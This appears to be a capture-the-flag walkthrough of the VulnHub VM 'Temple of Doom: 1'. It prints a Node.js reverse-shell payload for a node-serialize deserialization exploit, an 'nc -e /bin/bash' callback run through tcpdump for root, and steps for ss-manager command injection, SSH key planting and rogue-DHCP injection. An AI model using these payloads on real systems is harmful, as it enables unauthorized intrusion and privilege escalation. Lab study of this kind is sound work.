This post documents the complete walkthrough of Temple of Doom: 1, a boot2root VM created by @0katz, and hosted at VulnHub. If you are uncomfortable with spoilers, please stop reading now.

On this post


You know it’s a high quality VM when it’s from @Pink_P4nther’s homie, @katz.

Information Gathering

Let’s start with a nmap scan to establish the available services in the host.

# nmap -n -v -Pn -p- -A --reason -oN nmap.txt
22/tcp  open  ssh     syn-ack ttl 64 OpenSSH 7.7 (protocol 2.0)
| ssh-hostkey:
|   2048 95:68:04:c7:42:03:04:cd:00:4e:36:7e:cd:4f:66:ea (RSA)
|   256 c3:06:5f:7f:17:b6:cb:bc:79:6b:46:46:cc:11:3a:7d (ECDSA)
|_  256 63:0c:28:88:25:d5:48:19:82:bb:bd:72:c6:6c:68:50 (ED25519)
666/tcp open  http    syn-ack ttl 64 Node.js Express framework
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-title: Site doesn't have a title (text/html; charset=utf-8).

nmap finds 22/tcp and 666/tcp open.

Node.js Deserialization Bug

Let’s pay 666/tcp a visit and see what we can find there.


Satan’s temple is still under construction? Thank God :pray: I’m not going to hell any time soon.

Look what happens when I refresh the page.


Look at the cookies storage.


This is the node-serialize bug documented in CVE-2017-5941.

In any case, there’s an easy way to exploit this vulnerability following the instructions here.

There’s a slight difference though—I’m using the reverse shell generated by msfvenom instead.

# msfvenom -p nodejs/shell_reverse_tcp LHOST= LPORT=4444

Incorporate the output from msfvenom into rce.js. Remember to remove the enclosing round brackets.

var rev = {
rce:function(){ var require = global.require || global.process.mainModule.constructor._load; if (!require) return; var cmd = (global.process.platform.match(/^win/i)) ? "cmd" : "/bin/sh"; var net = require("net"), cp = require("child_process"), util = require("util"), sh = cp.spawn(cmd, []); var client = this; var counter=0; function StagerRepeat(){ client.socket = net.connect(4444, "", function() { client.socket.pipe(sh.stdin); if (typeof util.pump === "undefined") { sh.stdout.pipe(client.socket); sh.stderr.pipe(client.socket); } else { util.pump(sh.stdout, client.socket); util.pump(sh.stderr, client.socket); } }); socket.on("error", function(error) { counter++; if(counter<= 10){ setTimeout(function() { StagerRepeat();}, 5*1000); } else process.exit(); }); } StagerRepeat(); },

var serialize = require('node-serialize');

Run node rce.js to get the serialized string output.


Next, add the IIFE bracket () at the end of the serialized string output from the previous step before passing it to base64 for encoding.


Send the entire base64 string as the profile cookie value to But before you do that, you want to set up your nc listener.


As expected, the nc listener caught the reverse shell.


You can see that nodeadmin is a regular user with its home directory at /home/nodeadmin; we can copy the SSH public key we control to /home/nodeadmin/.ssh/authorized_keys and log in through SSH. We get a more superior shell this way and Ctrl-C doesn’t kill the shell. :smirk:


Here’s how to do that. First, generate the SSH keypair for nodeadmin.


Next, create /home/nodeadmin/.ssh and echo the SSH public key to authorized_keys.


Now, SSH into nodeadmin’s account.

Command Execution in shadowsocks-libev

During enumeration of nodeadmin’s account, I notice /usr/local/bin/ss-manager is running as fireman.


A quick search for “ss-manager” in Google led me to EDB-ID 43006. Listing the listening ports further confirmed the command execution “feature”.


A more liberal nc is also available for use in the VM.


Armed with this knowledge, we can execute nc to give us a reverse shell as fireman.


On our nc listener, a reverse shell returns as fireman.


We can repeat the same SSH trick for fireman.

Dangerous tcpdump

During enumeration of fireman’s account, I found the following.


tcpdump in particular, can execute commands and run in another user’s privilege with the -z and -Z options respectively.

Let’s save nc 1234 -e /bin/bash into /tmp/ and make it executable.


And execute tcpdump like so.


On the nc listener, a root shell returns.


After repeating the SSH trick, getting the flag is trivial.




I wonder what’s the second method for getting root? Could it be the exploitation of abrt?

I think I got it figured out. CVE-2018-1111 anyone?

The signs were there all this time.


There’s a reason why fireman can sudo to execute nmcli and iptables. Even the source of the vulnerability is present.


The proof-of-concept (PoC) code is so small it can fit inside a tweet, with the help of dnsmasq of course.

Let’s try it out.

In one terminal, I set up my attacking machine ( as the rogue DHCP server with dnsmasq. In another terminal, I set up the nc listener to catch the reverse shell.


Now, let’s renew the VM’s IP address with nmcli. My rogue DHCP server will respond to the VM’s DHCP request with the injected command (nc to send /bin/bash over to me, i.e. a reverse shell) in the DHCP offer.


A root shell returns.


Below are the DHCP packets and the rogue DHCP offer captured in WireShark.